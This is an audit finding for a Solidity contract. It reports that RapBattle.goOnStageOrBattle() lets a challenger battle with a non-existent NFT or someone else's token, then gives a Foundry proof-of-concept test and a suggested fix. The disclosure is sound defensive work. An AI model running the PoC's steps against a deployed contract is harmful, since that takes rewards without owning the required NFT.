Summary
RapBattle.goOnStageOrBattle() lacks tokenId check, therefore msg.sender can specify non-existent tokenId or even use other people's NFT for the battle.
Vulnerability Details
RapBattle.goOnStageOrBattle() does not validate the first argument uint256 _tokenId in the else block:
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
_battle(_tokenId, _credBet);
}
}
User can specify non-existent tokenId or even use other people's NFT tokenId for battle. When winning the battle, the reward will be transferred to msg.sender without verifying ownership of the NFT:
if (random <= defenderRapperSkill) {
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
credToken.transfer(msg.sender, _credBet);
}
Impact
User can battle without owning any NFT
PoC
Add the following test case to OneShotTest.t.sol:
function testPoCTokenId() public mintRapper {
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
rapBattle.goOnStageOrBattle(0, 0);
vm.stopPrank();
address victim = makeAddr("Alice");
vm.startPrank(victim);
oneShot.mintRapper();
vm.stopPrank();
vm.startPrank(challenger);
rapBattle.goOnStageOrBattle(1337, 0);
vm.stopPrank();
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
rapBattle.goOnStageOrBattle(0, 0);
vm.stopPrank();
vm.startPrank(challenger);
rapBattle.goOnStageOrBattle(1, 0);
vm.stopPrank();
}
Run test:
forge test --match-test testPoCTokenId -vv
Tools Used
Manual review
Recommendations
Transfer NFT from msg.sender to the RapBattle contract before battle:
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}
It is recommended to add credToken.transferFrom(msg.sender, address(this), _credBet); even though that's another bug.
